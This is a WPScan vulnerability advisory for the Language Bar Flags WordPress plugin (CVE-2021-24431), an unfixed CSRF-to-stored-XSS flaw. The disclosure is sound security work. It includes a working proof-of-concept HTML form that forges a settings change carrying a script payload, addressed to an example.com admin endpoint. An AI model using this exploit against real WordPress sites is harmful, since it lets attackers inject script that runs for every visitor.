WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Language Bar Flags <= 1.0.8 - CSRF to Stored XSS

Description

The plugin does not have any CSRF in place when saving its settings and did not sanitise or escape them when generating the flag bar in the frontend. This could allow attackers to make a logged in admin change the settings, and set Cross-Site Scripting payload in them, which will be executed in the frontend for all users

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=langbf" method="POST">
      <input type="hidden" name="options_update" value="1" />
      <input type="hidden" name="langbf_active" value="yes" />
      <input type="hidden" name="langbf_title" value="<script>alert(/XSS/)</script>" />
      <input type="hidden" name="langbf_position" value="top" />
      <input type="hidden" name="langbf_side" value="left" />
      <input type="hidden" name="langbf_disable_wpbar" value="yes" />
      <input type="hidden" name="langbf_new_window" value="no" />
      <input type="hidden" name="Submit" value="Save Changes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Then view the homepage of the blog to trigger the XSS
 

Affects Plugins

language-bar-flags
No known fix - plugin closed

References

CVE
CVE-2021-24431

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Vinay Bhuria

Submitter

Vinay Bhuria

Submitter twitter
bhuria_vinay
Verified

Yes

WPVDB ID
ae50cec9-5f80-4221-b6a8-4593ab66c37b

Timeline

Publicly Published

2021-08-16 (about 2 years ago)

Added

2021-08-16 (about 2 years ago)

Last Updated

2022-04-08 (about 1 years ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us